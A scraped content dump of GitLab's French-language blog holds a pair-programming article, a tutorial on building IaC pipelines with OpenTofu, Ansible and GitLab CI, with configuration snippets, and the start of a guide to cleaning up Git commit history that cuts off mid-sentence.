les obstacles potentiels que vous pourriez rencontrer lors de l'accomplissement du projet et essayez de trouver des solutions potentielles. Vous pouvez le faire ensemble, à l’écrit ou oralement, ou séparément avant de partager vos idées. Quelle que soit la manière, cette étape est importante.\n- Trouvez un accord sur la technologie à utiliser pour le projet. De l’ordinateur idéal en passant par une connexion Wi-Fi fiable, il faut vous doter de tous les outils nécessaires à la réussite du projet.\n\n## 5 astuces pour réussir sa session de pair programming\n\nPour tirer pleinement parti de vos sessions de programmation en binôme, voici cinq bonnes pratiques à suivre : \n\n- __Communiquer sans interruption.__ Dans une session de pair programming, la communication est primordiale, que vous ayez déjà collaboré ou non avec votre binôme. Il est normal que deux personnes aient des idées et des opinions différentes lors d’un projet. Pour éviter que le projet et le binôme n'en pâtissent, gardez une communication ouverte et fréquente. \n- __Alterner les rôles.__ Aucun des deux ne doit être le seul conducteur ou navigateur. Pensez à échanger les rôles régulièrement afin de garder un œil frais et de continuer à produire un travail de qualité.\n- __Prendre des pauses.__ Rome ne s'est pas construite en un jour, le codage non plus. Veillez donc à faire des pauses régulières pour ne pas vous épuiser.\n- __Utiliser les bons outils.__ Souvent, le pair programming se fait à distance. Même si le dialogue reste virtuel, pensez à échanger par visioconférence pour mieux collaborer tout au long du projet. \n- __Demander de l'aide.__ Vous ne comprenez pas une partie du projet ? N'hésitez pas à demander de l'aide. Il vaut mieux en demander au cours de la session de programmation qu'au moment de la validation finale.\n\n## Quels sont les avantages du pair programming ?\n\nCollaborer directement avec un développeur ou une développeuse booste le moral et diversifie la journée de travail de chacun. En travaillant en binôme, il est possible d’apprendre de nouvelles pratiques de codage, de nouveaux workflows ou encore de nouvelles façons d'aborder un problème pour favoriser l’innovation, améliorer l’efficacité et réduire la rétention d'information.\n\nLes développeurs juniors profitent de l’expérience de leurs collègues seniors pour acquérir de solides connaissances. De leur côté, les développeurs expérimentés apprennent à enseigner leurs méthodes et à utiliser leur pensée critique pour trouver des solutions. \n\nQuel que soit le niveau d'expérience, tout le monde peut bénéficier des sessions de pair programming, puisqu'il n'existe pas de bonne ou de mauvaise façon de programmer. Le développement de logiciels est un effort à multiples facettes dans lequel l'imagination et la créativité jouent un rôle fondamental. Les connaissances, l'expérience et les styles d'apprentissage de chacun déterminent la manière d'appréhender les liens entre des éléments de code et un système en place. En binôme, il est possible de discuter de ces perspectives et de déterminer la meilleure approche.\n\n## Quels sont les inconvénients du pair programming ?\n\nCoder en binôme peut sembler être la solution à tous les problèmes, mais ce n’est pas toujours le cas. \n\nLorsqu’il comprend à quel point le pair programming peut les aider, un binôme peut être tenté d’unir ses forces un peu trop souvent. Pour des tâches simples, des changements mineurs et précis, coder en binôme s'avère inutile.\n\nDe plus, si deux développeurs ou développeuses commencent tout juste à coder ensemble, ils doivent faire preuve de patience et persévérer pour former un excellent binôme. Ce qui n'est pas toujours facile, même pour les développeurs expérimentés. Pensez à débriefer après vos sessions de pair programming afin de comprendre ce qui a bien ou moins bien fonctionné et comment vous pouvez vous améliorer lors des prochaines sessions. \n\n## Le pair programming chez GitLab\n\nChez [GitLab](https://about.gitlab.com/fr-fr/ \"Site Web de GitLab\"), nous aimons coder en binôme. La plupart du temps, les sessions de pair programming s'effectuent sur le même poste de travail, mais en tant qu'[entreprise en 100 % télétravail](https://about.gitlab.com/fr-fr/company/all-remote/ \"GitLab est une entreprise en 100% télétravail \"), nous avons trouvé des moyens pour faire en sorte que cela fonctionne.  \n\nAu sein de l'équipe d'ingénierie, [l'équipe Frontend, a par exemple expérimenté la programmation en binôme](https://gitlab.com/gitlab-org/frontend/general/-/issues/12 \"Exemple de pair programming chez GitLab\"). L'équipe a utilisé VSCode Live Share à plusieurs reprises, mais privilégie l'envoi de correctifs et les conversations en groupe.\n\n*« Le meilleur format jusqu'à présent reste le suivant : quelqu'un envoie une demande de binôme dans le canal Slack #frontend_pairs, des personnes manifestent leur intérêt, nous bloquons une plage horaire dans le calendrier, puis nous organisons une session pour programmer en groupe. »* Paul Slaughter, Staff Fullstack Engineer.\n\nToutes les équipes de développement entendent parler de l'importance de l'accélération. Cela peut devenir décourageant, particulièrement lorsque l'équipe est confrontée à des problèmes complexes. La prochaine fois que vous rencontrez des difficultés à rédiger du code, envisagez une session de pair programming pour résoudre les problèmes à deux. \n\n*« Coder en binôme est ressenti différemment par chaque personne. Privilégiez toujours la communication, le partage des informations et la collaboration entre les équipes. »* Paul Slaughter.  \n\nMaintenant que vous en savez plus sur le pair programming, il est temps de vous lancer ! \n\n> [Essayez GitLab Ultimate gratuitement.](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial \"Essai gratuit de GitLab. \")",[3464],"Suri Patel","2019-08-20","Pair programming : coder en binôme pour progresser et améliorer sa productivité",[1482,1766,1420,853],{"slug":3469,"featured":6,"template":683},"agile-pairing-sessions","content:fr-fr:blog:agile-pairing-sessions.yml","Agile Pairing Sessions","fr-fr/blog/agile-pairing-sessions.yml","fr-fr/blog/agile-pairing-sessions",{"_path":3475,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3476,"content":3482,"config":3492,"_id":3494,"_type":16,"title":3495,"_source":17,"_file":3496,"_stem":3497,"_extension":20},"/fr-fr/blog/using-ansible-and-gitlab-as-infrastructure-for-code",{"ogTitle":3477,"schema":3478,"ogImage":3479,"ogDescription":3480,"ogSiteName":841,"noIndex":6,"ogType":842,"ogUrl":3481,"title":3477,"canonicalUrls":3481,"description":3480},"Créez des pipelines IaC évolutifs avec GitLab","\n                        { \"@context\": \"https://schema.org\", \"@type\": \"Article\", \"headline\": \"How to use GitLab and Ansible to create infrastructure as code\", \"author\": [{\"@type\":\"Person\",\"name\":\"Brad Downey\"},{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}], \"datePublished\": \"2019-07-01\", }","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,w_820,h_500,c_lfill/v1746211002/zlet4rmfg2z0j6lg16mc.png","Automatisez la gestion de votre infrastructure avec des pipelines CI/CD sécurisés, un scan de sécurité intégré, à l’aide de GitLab, Terraform/OpenTofu, Ansible.","https://about.gitlab.com/blog/using-ansible-and-gitlab-as-infrastructure-for-code",{"heroImage":3479,"body":3483,"authors":3484,"updatedDate":948,"date":3487,"title":3488,"tags":3489,"description":3491,"category":825},"Les outils d'Infrastructure as Code (IaC), tels que TerraForm/OpenTofu, ou\nde gestion des configurations, tels qu'Ansible, jouent un rôle clé dans de\nnombreux workflows critiques. Ces projets commencent parfois par de simples\nscripts d'automatisations, sans nécessairement suivre les bonnes pratiques\nde développement logiciel ni répondre aux contrôles réglementaires exigés\npour les applications logicielles d'entreprise.\n\n\nSouvent développées par des ingénieurs système ou des ingénieurs d'infrastructure, ces automatisations sont mises en place sans réelle expertise des approches [DevOps](https://about.gitlab.com/fr-fr/topics/devops/ \"Qu'est-ce que le DevOps ?\"), DevSecOps, [CI/CD](https://about.gitlab.com/topics/ci-cd/ \"Qu'est-ce que le CI/CD ?\") et d'automatisation des tests. Dans les grandes entreprises employant de nombreuses équipes d'ingénierie parfois cloisonnées, la situation est encore plus compliquée.\n\n\nChez GitLab, nous maîtrisons l'[approche DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que le DevSecOps ?\") depuis plus de 10 ans et utilisons notre plateforme DevSecOps unifiée en interne pour automatiser des tâches critiques à l'échelle de l'entreprise. Nous accompagnons des milliers de clients qui s'appuient sur notre plateforme GitLab pour une variété de processus : Infrastructure as Code (IaC), automatisation, gestion cloud, [ingénierie de plateforme](https://about.gitlab.com/fr-fr/the-source/platform/driving-business-results-with-platform-engineering/ \"Qu'est-ce que l’ingénierie de plateforme ?\") et bien d'autres encore.\n\n\nDécouvrez dans cet article les principales fonctionnalités pour transformer vos puissantes automatisations en pipelines de livraison de logiciels évolutifs et auditables.\n\n\n![Liste d'automatisation](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750433380/oipm6tq8qutoh1ctredd.png)\n\n\n## Mise en œuvre\n\n\n[Ce projet de démonstration](https://gitlab.com/gl-demo-ultimate-saberkan/public/ansible-demo) illustre un workflow DevOps complet qui combine la puissance d'OpenTofu avec les pratiques modernes d'Ansible, le tout orchestré via les [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\") de GitLab. Il met en scène le provisionnement d'un environnement de test AWS à l'aide de composants OpenTofu intégrés à GitLab, suivi du déploiement d'un serveur web Tomcat à l'aide de la version la plus récente d'Ansible, avec exécution dans un environnement personnalisé et prise en charge des collections.\n\n\nLe projet tire parti de nombreuses fonctionnalités de GitLab :\n\n\n* Création et stockage d'environnements d'exécution Ansible personnalisés dans le [registre de conteneurs de GitLab](https://docs.gitlab.com/user/packages/container_registry/)\n\n* [Scan de sécurité des scripts d'IaC et des conteneurs permettant de détecter des vulnérabilités](https://docs.gitlab.com/user/application_security/iac_scanning/)\n\n* Intégration du [linting Ansible avec GitLab Code Quality](https://docs.gitlab.com/user/application_security/iac_scanning/)\n\n* Stockage des binaires Tomcat dans le [dépôt de paquets génériques](https://docs.gitlab.com/user/packages/generic_packages/)\n\n* Utilisation des [variables d'environnement CI/CD à des fins de configuration](https://docs.gitlab.com/ci/variables/)\n\n\nL'ensemble du workflow est automatisé par le biais d'un [pipeline GitLab](https://docs.gitlab.com/ci/pipelines/) qui gère toutes les étapes, du provisionnement de l'infrastructure au déploiement des applications, en passant par les tests de sécurité.\n\n\n![ Workflow automatisé via un pipeline GitLab ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750433380/giatmolwn9inusi4cev2.png)\n\n\n### Provisionnement de l'environnement avec OpenTofu\n\n\nLe projet commence par le provisionnement d'un environnement de test AWS à l'aide d'OpenTofu, en s'appuyant sur l'intégration native des [composants OpenTofu de GitLab](https://docs.gitlab.com/user/infrastructure/iac/), qui rationalisent le processus de provisionnement de l'infrastructure. Le pipeline inclut des étapes de validation, de planification et d'application qui garantissent un déploiement approprié de l'infrastructure tout en maintenant les bonnes pratiques IaC de GitLab.\n\n\nCe projet tire parti des capacités de l'[outil de gestion des fichiers d'état de Terraform intégré à GitLab](https://docs.gitlab.com/user/infrastructure/iac/terraform_state/) ainsi que du [Terraform Module Registry](https://docs.gitlab.com/user/packages/terraform_module_registry/), tous deux compatibles avec OpenTofu et HashiCorp Terraform. Il est également possible d'utiliser les composants OpenTofu de GitLab avec HashiCorp Terraform en procédant à une [légère personnalisation](https://gitlab.com/components/opentofu#can-i-use-this-component-with-terraform) : vous devez créer votre propre image incluant un script nommé `gitlab-tofu` pour maintenir sa compatibilité avec les jobs de composants. Vous pouvez ensuite remplacer les commandes `tofu` par les commandes `Terraform` équivalentes.\n\n\nL'exemple de composant « OpenTofu Module Release » montre comment créer un module Terraform et le stocker dans Terraform Module Registry dans GitLab. Ce module est ensuite importé dans le fichier `provision_lab.tf` directement depuis GitLab pour déployer l'environnement de test sur AWS. Ensuite, il génère un fichier d'inventaire contenant l'adresse IP publique de l'instance provisionnée, qui peut être utilisée dans les étapes de gestion des configurations avec Ansible.\n\n\n```\n\n# From .gitlab-ci.yml\n - component: gitlab.com/components/opentofu/module-release@1.1.0\n   inputs:\n     root_dir: tofu\n     as: 🔍 tofu-module-release\n     stage: 🏗️ build-tofu-module\n     module_version: 0.0.1\n     module_system: aws\n     module_name: aws-lab\n     root_dir: tofu/modules/ansible-demo/aws-lab\n     rules:\n       - if: \"$CI_COMMIT_BRANCH\"\n         when: manual\n```\n\n\n```\n\n# From provision_lab.tf\n\nmodule \"aws-lab\" {\n  source = \"https://gitlab.com/api/v4/projects/67604719/packages/terraform/modules/aws-lab/aws/0.0.1\"\n}\n\n```\n\n\nLes composants de validation, de planification et de déploiement sont configurés avec le paramètre `**auto_define_backend: true**`. Ils s'intègrent automatiquement au backend de stockage d’état Terraform intégré à GitLab et éliminent le besoin de configuration manuelle du backend ou de solutions de stockage d'état externes telles que des compartiments S3.\n\n\n```\n\n# From gitlab-ci.yml\n\n- component: gitlab.com/components/opentofu/apply@0.55.0\n  inputs:\n    version: 0.55.0\n    opentofu_version: 1.8.8\n    root_dir: tofu\n    state_name: demo\n    as: ✅ tofu-apply\n    stage: 🏗️ provision-lab\n    auto_define_backend: true\n    rules:\n      - if: \"$CI_COMMIT_BRANCH\"\n        when: manual\n```\n\n\n![Les composants de validation, de planification et de déploiement sont configurés avec le paramètre `auto_define_backend: true`](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750433380/giatmolwn9inusi4cev2.png)\n\n\nLa configuration de l'infrastructure crée une instance EC2 CentOS Stream 9 avec des groupes de sécurité appropriés pour autoriser l'accès SSH depuis les runners GitLab et l'accès HTTP au serveur Tomcat.\n\n\nL'accès SSH et la configuration HTTP sont configurés par le biais des [variables d'environnement GitLab CI/CD](https://docs.gitlab.com/ci/variables/#define-a-cicd-variable-in-the-ui).\n\n\n![Accès SSH et configuration HTTP](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750433381/cmqtzg6ahz8ua5w8ybgs.png)\n\n\nPour un accès sécurisé au cloud, le projet met en œuvre [l'intégration OpenID Connect de GitLab](https://docs.gitlab.com/ci/cloud_services/aws/) avec AWS, en utilisant des identifiants de connexion temporaires via AWS Security Token Service (STS) :\n\n\n```\n\n# From .gitlab-ci.yml\n\n.tofu_aws_setup:\n id_tokens:\n   OIDC_TOKEN:\n     aud: https://gitlab.com\n before_script:\n   - echo \"${OIDC_TOKEN}\" > /tmp/web_identity_token\n   - export AWS_PROFILE=\"\"\n   - export AWS_ROLE_ARN=\"${AWS_ROLE_ARN}\"\n   - export AWS_WEB_IDENTITY_TOKEN_FILE=\"/tmp/web_identity_token\"\n```\n\n\n### Création de l'environnement d'exécution Ansible\n\n\nLes déploiements modernes avec Ansible reposent largement sur l'utilisation d'[environnements d'exécution](https://docs.ansible.com/ansible/latest/getting_started_ee/index.html) : il s'agit de versions conteneurisées qui encapsulent Ansible avec toutes ses dépendances, y compris les rôles et les collections préinstallés nécessaires. Dans ce projet, un environnement d'exécution personnalisé est créé, basé sur Fedora 39, qui inclut ansible-core, ansible-runner ainsi que des collections spécifiques, telle que ansible.posix, requise dans cet exemple pour configurer le pare-feu et SELinux.\n\n\nLes rôles et collections tiers de ce projet sont téléchargés en mode natif à partir du dépôt communautaire Ansible Galaxy. Cette approche s'appuie sur l'écosystème de contenu Ansible réutilisable de la communauté, comme le montre la configuration de l'environnement d'exécution. Bien que cette démonstration utilise des ressources Ansible de la communauté, cette mise en œuvre de pipeline est entièrement compatible avec Red Hat Ansible Automation Platform. La structure du pipeline reste identique ; seules les sources de contenu changent. Ainsi, les entreprises qui utilisent la version Enterprise peuvent simplement rediriger leurs sources de contenu d'automatisation vers leur Automation Hub privé au lieu du dépôt Ansible Galaxy par défaut issu de la communauté. Selon la documentation officielle d'Ansible, vous pouvez réaliser cette opération en [configurant votre serveur Automation Hub privé et votre token d'accès dans le fichier ansible.cfg](https://docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/1.2/html/getting_started_with_red_hat_ansible_automation_hub/proc-configure-automation-hub-server#proc-configure-automation-hub-server).\n\n\n```\n\n# From execution-environment.yml\n\n---\n\nversion: 3\n\n\nimages:\n  base_image:\n    name: quay.io/fedora/fedora:39\n\ndependencies:\n  ansible_core:\n    package_pip: ansible-core\n  ansible_runner:\n    package_pip: ansible-runner\n  system:\n    - openssh-clients\n    - sshpass\n  galaxy:\n    collections:\n    - name: ansible.posix\n      version: \">=2.0.0\"\n```\n\n\n![Environnement d'exécution faisant l'objet d'un push vers le registre de conteneurs de GitLab ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750433384/dh1o2ojjmb04ru4tfr9k.png)\n\n\nL'environnement d'exécution est défini dans un fichier YAML, généré à l'aide d'ansible-builder, puis faisant l'objet d'un push vers le [registre de conteneurs de GitLab](https://docs.gitlab.com/user/packages/container_registry/). Cette approche garantit des environnements d'exécution cohérents d'un système à l'autre, tout en simplifiant la gestion des dépendances.\n\n\n```\n\n# From gitlab-ci.yml\n\n🔨 ansible-build-ee:\n  stage: 📦 ansible-build-ee\n  image: docker:24.0.5\n  needs: []\n  services:\n    - docker:24.0.5-dind\n  before_script:\n    - apk add --no-cache python3 py3-pip\n    - pip install ansible-builder\n    - cd ansible/execution-environment\n  script:\n    - ansible-builder build -t ${EE_IMAGE_NAME}:${EE_IMAGE_TAG} --container-runtime docker\n    - docker tag ${EE_IMAGE_NAME}:${EE_IMAGE_TAG} ${CI_REGISTRY_IMAGE}/${EE_IMAGE_NAME}:${EE_IMAGE_TAG}\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n    - docker push ${CI_REGISTRY_IMAGE}/${EE_IMAGE_NAME}:${EE_IMAGE_TAG}\n```\n\n\n### Déploiement de Tomcat avec Ansible\n\n\nUne fois l'infrastructure provisionnée et l'environnement d'exécution construit, le pipeline déploie Tomcat à l'aide d'[Ansible Navigator](https://ansible.readthedocs.io/projects/navigator/). L'environnement d'exécution créé à l'étape précédente est utilisé comme image pour le job de déploiement dans le pipeline GitLab.\n\n\n```\n\n# From gitlab-ci.yml\n\n🚀 ansible-deploy:\n  stage: 🚀 ansible-deploy\n  image: ${CI_REGISTRY_IMAGE}/${EE_IMAGE_NAME}:${EE_IMAGE_TAG}\n  needs:\n    - ✅ tofu-apply\n  extends: [.ssh_private_key_setup, .default_rules]\n  script:\n    - ansible-navigator run ansible/playbook.yml \n      -i ansible/inventory/hosts.ini\n      --execution-environment false\n      --mode stdout \n      --log-level debug\n```\n\n\nCe processus récupère le paquet applicatif depuis le [dépôt de paquets générique de GitLab](https://docs.gitlab.com/user/packages/generic_packages/), configure les utilisateurs et les autorisations système, et définit Tomcat comme service systemd.\n\n\n```\n\n# From playbook.yml\n\n---\n\n- name: Deploy Tomcat Server\n  hosts: all\n  become: true\n  roles:\n      - role: tomcat\n  \n  vars:\n    # Tomcat package and installation\n    tomcat_package: \"https://gitlab.com/api/v4/projects/67604719/packages/generic/apache-tomcat/10.1.39/apache-tomcat-10.1.39.tar.gz\"\n    tomcat_install_dir: \"/opt/tomcat\"\n    java_package: \"java-17-openjdk-devel\"\n```\n\n\n![Registre de paquets de GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750433381/mynak8i2k7ms9vhdijqg.png)\n\n\n### Scan de sécurité et qualité du code\n\n\nLa sécurité est intégrée tout au long du pipeline avec plusieurs outils de scan. Ce projet utilise le [scanner SAST IaC intégré de GitLab](https://docs.gitlab.com/user/application_security/iac_scanning/) pour détecter les vulnérabilités dans le code Terraform et Ansible. L'[analyse des conteneurs](https://docs.gitlab.com/user/application_security/container_scanning/) est appliquée à l'image de l'environnement d'exécution pour identifier tout problème de sécurité et générer une [nomenclature logicielle (SBOM)](https://about.gitlab.com/fr-fr/blog/the-ultimate-guide-to-sboms/ \"Qu'est-ce qu'une nomenclature logicielle ?\").\n\n\n```\n\n# From gitlab-ci.yml\n\ninclude: \n\n- template: Jobs/SAST-IaC.gitlab-ci.yml \n\n- template: Jobs/Container-Scanning.gitlab-ci.yml\n\n```\n\n\n![La sécurité est intégrée à chaque étape du pipeline avec plusieurs outils de scanning](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750433386/e6ejckcv5kdyhhosej2f.png)\n\n\nDe plus, le projet utilise Ansible Linter et ses résultats sont intégrés à [GitLab Code Quality](https://docs.gitlab.com/ci/testing/code_quality/#import-code-quality-results-from-a-cicd-job). Cette intégration produit des rapports qui sont affichés directement dans l'interface de GitLab, ce qui facilite l'identification et la résolution des anomalies.\n\n\n```\n\n# From gitlab-ci.yml\n\n🔍 ansible-lint:\n  stage: 🚀 ansible-deploy\n  image: ${CI_REGISTRY_IMAGE}/${EE_IMAGE_NAME}:${EE_IMAGE_TAG}\n  needs: []\n  script:\n    - ansible-lint ansible/playbook.yml -f codeclimate | python3 -m json.tool | tee gl-code-quality-report.json || true\n  artifacts:\n    reports:\n      codequality:\n        - gl-code-quality-report.json\n```\n\n\n![Le projet utilise Ansible Linter et ses résultats sont intégrés à GitLab Code Quality](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750433380/gsfpaldra4rmtkseaudo.png)\n\n\n### Vérification de l'état du déploiement\n\n\nAprès le déploiement, le pipeline effectue des vérifications de l'état pour s'assurer que le serveur Tomcat fonctionne correctement. Ce job tente d'établir une connexion au port HTTP du serveur et vérifie qu'il renvoie une réponse confirmant que le service est bien actif. Cette étape garantit que le déploiement s'est correctement terminé et que l'application est accessible.\n\n\nVous pouvez également tester l'accès de votre navigateur à l'instance provisionnée par Tomcat en utilisant l'adresse IP publique de l'instance provisionnée EC2.\n\n\n![Vérification de l'état d'un job](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750433385/uksdkjryydxhu94v1naj.png)\n\n\n## Destruction de l'environnement de test\n\n\nDernière étape du pipeline : le processus de nettoyage détruit l'environnement de test. Cette opération est mise en œuvre à l'aide du composant de destruction OpenTofu, qui garantit que toutes les ressources créées au cours de l'étape de provisionnement sont correctement supprimées.\n\n\n## Récapitulatif\n\n\nGitLab offre une plateforme DevSecOps unifiée et un framework pour gérer, à l'échelle de l'entreprise, les pratiques d'automatisation critiques telles que la gestion des configurations et de l'IaC (Infrastructure as Code). Ce framework inclut le [contrôle de version](https://about.gitlab.com/fr-fr/topics/version-control/ \"Qu'est-ce que le contrôle de version ?\"), la planification de projet, la gestion des tickets, la collaboration entre les équipes, les pipelines CI/CD, la gestion du paquet de binaires et du registre de conteneurs, le scan de sécurité et de nombreuses autres fonctionnalités utiles. Il permet également de renforcer la gouvernance grâce à des contrôles intégrés dans les processus. Si vous cherchez à développer vos pratiques cloud (qu’il s’agisse d’un cloud privé ou public) ou plus généralement, de tout workflow d'automatisation en libre-service doté de règles de gouvernance, envisagez d'utiliser GitLab, TerraForm et Ansible comme les trois piliers d'une plateforme d'automatisation à la fois évolutive et conforme aux exigences de gouvernance.\n\n\n> Lancez-vous avec un [essai gratuit de GitLab Ultimate](http://bout.gitlab.com/free-trial/). Inscrivez-vous dès aujourd'hui !\n",[3485,3486],"George Kichukov","Salahddine Aberkan","2019-07-01","GitLab DevSecOps : des pipelines IaC au service de votre croissance",[3490,110],"demo","Découvrez comment automatiser la gestion de votre infrastructure pour accompagner la croissance de votre entreprise grâce à des pipelines CI/CD sécurisés et un scan de sécurité intégré, à l'aide de GitLab, Terraform/OpenTofu et Ansible.",{"slug":3493,"featured":6,"template":683},"using-ansible-and-gitlab-as-infrastructure-for-code","content:fr-fr:blog:using-ansible-and-gitlab-as-infrastructure-for-code.yml","Using Ansible And Gitlab As Infrastructure For Code","fr-fr/blog/using-ansible-and-gitlab-as-infrastructure-for-code.yml","fr-fr/blog/using-ansible-and-gitlab-as-infrastructure-for-code",{"_path":3499,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3500,"content":3506,"config":3513,"_id":3515,"_type":16,"title":3516,"_source":17,"_file":3517,"_stem":3518,"_extension":20},"/fr-fr/blog/keeping-git-commit-history-clean",{"title":3501,"description":3502,"ogTitle":3501,"ogDescription":3502,"noIndex":6,"ogImage":3503,"ogUrl":3504,"ogSiteName":841,"ogType":842,"canonicalUrls":3504,"schema":3505},"Commits Git : comment et pourquoi maintenir un historique propre","L’historique des commits Git peut rapidement devenir désorganisé. Dans cet article, vous découvrirez tous nos conseils pour y remédier.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659457/Blog/Hero%20Images/keep-git-commit-history-clean.jpg","https://about.gitlab.com/blog/keeping-git-commit-history-clean","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Commits Git : comment et pourquoi maintenir un historique propre\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kushal Pandya\"}],\n        \"datePublished\": \"2018-06-07\",\n      }",{"title":3501,"description":3502,"authors":3507,"heroImage":3503,"date":3509,"body":3510,"category":825,"tags":3511,"updatedDate":3512},[3508],"Kushal Pandya","2018-06-07","Les commits Git sont des éléments fondamentaux d’un [dépôt\nGit](https://git-scm.com/book/fr/v2/Les-bases-de-Git-D%C3%A9marrer-un-d%C3%A9p%C3%B4t-Git\n\"Dépôt Git\") (Git Repository), sans oublier les messages de commit qui\nconstituent un véritable journal de bord pour le dépôt. Au fur et à mesure\nque le projet ou le dépôt évolue dans le temps (avec l’ajout de nouvelles\nfonctionnalités, la correction de bugs, la refonte de l’architecture), les\nmessages de commit permettent de suivre et de comprendre les modifications\napportées. Ces messages doivent donc résumer de manière courte et précise\nles changements effectués.\n\n\n## Qu’est-ce qu’un commit Git ?\n\n\nLes messages de commit Git sont les empreintes laissées sur le code que vous\nmodifiez. Lorsque vous consultez votre code un an plus tard, avoir rédigé un\nmessage clair vous aide à comprendre plus facilement et rapidement les\nraisons derrière vos choix de développement. De plus, ces messages\nfacilitent la collaboration avec vos collègues. Avec des commits Git isolés\nen fonction du contexte, il est plus rapide pour les développeurs et\ndéveloppeuses de détecter un bug introduit par un seul commit et d’y revenir\ndessus. \n\n\nDans le cadre de projets d’envergure, où de nombreuses parties sont\najoutées, modifiées ou supprimées constamment, s’assurer que les messages de\ncommit soient correctement maintenus peut parfois être une tâche compliquée,\nparticulièrement sur les projets qui s’étendent sur plusieurs semaines ou\nplusieurs mois. \n\n\nPour vous aider à maintenir un historique de commits Git précis, découvrez\ndans cet article un certain nombre de situations auxquelles les développeurs\net développeuses peuvent être confrontés au quotidien : \n\n\n- Situation 1 : Je dois modifier le commit le plus récent\n\n- Situation 2 : Je dois modifier un commit Git spécifique\n\n- Situation 3 : Je dois ajouter, combiner ou supprimer un commit Git \n\n- Situation 4 : Mon historique de commits Git est incohérent, je veux\nrepartir à zéro\n\n\n__Remarque :__ cet article suppose que vous ayez déjà des connaissances sur\nles fondamentaux de Git comme le fonctionnement des branches, l’ajout de\nmodifications non validées d’une branche à l'étape du staging et la\nvalidation des modifications. Vous souhaitez en savoir plus sur ces éléments\n? Consultez notre\n[documentation](https://docs.gitlab.com/ee/topics/git/index.html\n\"Documentation GitLab sur Git\") avant de continuer la lecture de cet\narticle. \n\n\nAvant d’entrer dans le vif du sujet, regardons brièvement à quoi ressemble\nun workflow de développement dans le cadre d’un projet Ruby on Rails\nhypothétique. \n\n\n## Exemple de commit Git\n\n\nDans cet exemple, nous avons besoin d’ajouter une vue de navigation sur la\npage d’accueil, ce qui implique la mise à jour et l’ajout de nombreux\nfichiers. \n\n\nVoici le déroulement de l’ensemble du processus étape par étape : \n\n\n- Vous commencez à travailler sur une fonctionnalité avec la mise à jour\nd’un fichier que nous appelons `application_controller.rb`\n\n\n- Cette fonctionnalité requiert la mise à jour d’une vue : `index.html.haml`\n\n\n- Vous avez ajouté un partiel utilisé dans la page d’index :\n`_navigation.html.haml`\n\n\n- Les styles de la page doivent également être mis à jour pour refléter le\npartiel ajouté : `styles.css.scss`\n\n\n- La fonctionnalité est maintenant prête avec les modifications souhaitées,\nil est temps de mettre à jour les tests. Les fichiers à mettre à jour sont\n: \n  - `application_controller_spec.rb`\n  - `navigation_spec.rb`\n\n- Les tests sont mis à jour et fonctionnent comme prévu. Désormais, il est\ntemps de valider les changements.\n\n\nPuisque tous les fichiers appartiennent à différentes parties de\nl’architecture, nous validons les modifications de manière isolée les unes\ndes autres afin d’assurer que chaque commit représente un certain contexte\net soit dans le bon ordre. Les changements des commits Git s’ordonnent\ngénéralement comme suit : en commençant par le backend, suivi de la couche\nintermédiaire puis du frontend.\n\n\n1. `application_controller.rb` & `application_controller_spec.rb` ; __Add\nroutes for navigation__.\n\n2. `_navigation.html.haml` & `navigation_spec.rb` ; __Page Navigation\nView__.\n\n3. `index.html.haml` ; __Render navigation partial__.\n\n4. `styles.css.scss` ; __Add styles for navigation__.\n\n\nMaintenant que nos changements sont validés, il est possible de créer une\nmerge request (requête de fusion) avec la branche. Une fois la merge request\nouverte, celle-ci est généralement examinée par un pair avant que les\nchangements ne soient fusionnés dans la branche principale du dépôt Git.\nMaintenant, observons les différentes situations dans lesquelles vous pouvez\nvous trouver lors de la révision du code. \n\n\n## Situation 1 : comment modifier le commit Git le plus récent ?\n\n\nImaginez que le relecteur examine le fichier `styles.css.scss` et suggère\nune modification. Dans ce cas, il est très simple d’effectuer cette\nmodification car les changements de la feuille de style font partie du\ndernier commit sur votre branche. \n\n\nVoici comment s’y prendre : \n\n\n- Vous effectuez directement les changements nécessaires dans\n`styles.css.scss` dans votre branche actuelle. \n\n\n- Une fois les changements effectués, ajoutez ces modifications au staging;\nexécutez `git add styles.css.scss`. \n\n\n- Dès que les changements sont pris en compte, ajoutez-les à votre dernier\ncommit; exécutez la commande `git commit --amend`.\n  - Explication de la commande : Ici, nous demandons à la commande `git commit` d’inclure tout ce qui est présent dans le staging au commit le plus récent.\n\n- Cela ouvrira votre dernier commit dans l’éditeur de texte défini par Git\ncontenant le message de commit « __Add styles for navigation__ ». \n\n\n- Comme nous avons seulement mis à jour la déclaration CSS, nous n’avons pas\nbesoin de modifier le message de commit. À ce stade, vous pouvez simplement\nenregistrer et quitter l’éditeur de texte que Git a ouvert et vos\nchangements apparaîtront dans le commit. \n\n\nPuisque vous avez modifié un commit Git existant, vous devez pousser ces\nchangements vers le dépôt distant (« remote repository ») grâce à la\ncommande : `git push --force-with-lease \u003Cremote_name> \u003Cbranch_name>`.\nCelle-ci va remplacer le commit `Add styles for navigation` sur le dépôt\ndistant, par le commit mis à jour à l’instant dans notre dépôt local.\n\n\nGardez en tête que lorsque vous travaillez à plusieurs sur la même branche,\nle fait de pousser un commit de force peut causer des problèmes pour les\nautres utilisateurs. En effet, ces derniers peuvent rencontrer des\ndifficultés au moment de pousser normalement leurs 